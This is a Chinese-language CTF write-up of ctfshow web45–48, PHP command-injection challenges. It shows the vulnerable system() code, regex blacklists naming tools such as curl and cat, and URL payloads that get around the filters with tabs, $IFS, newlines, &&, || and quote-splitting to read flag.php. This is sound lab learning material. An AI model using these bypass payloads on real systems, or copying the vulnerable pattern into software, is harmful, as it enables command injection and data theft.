ctfshow-web命令执行(web45-59)(Updating)

ctfshow-web命令执行(web45-59)(Updating)

目录

web45 &&等于; tab等于space

题目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

观察代码,多过滤了分号与空格,考虑用&&代替分号(&&代表执行两个命令,让后面的命令进入黑洞),用tab制表符代替空格


payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A $IFS代表shell里面的空格
解法3->url/?c=tac%09fla?.php%0a





web46 过滤数字*$

题目描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

分析源代码,多过滤了* $ 数字,因此上题的payload均可用


payload

解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
解法3->url/?c=tac%09fla?.php%0a





web47 <等于空格 ||解决黑洞

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

多过滤了一些字符,没有丝毫影响


payload

解法一二三上同
解法四->nl<fla''g.php|| nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞





web48 没什么软用

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

多过滤了字符,但丝毫不影响


payload

上同





上一篇:墨者学院-命令注入执行分析


下一篇:C++通过文件指针获取文件大小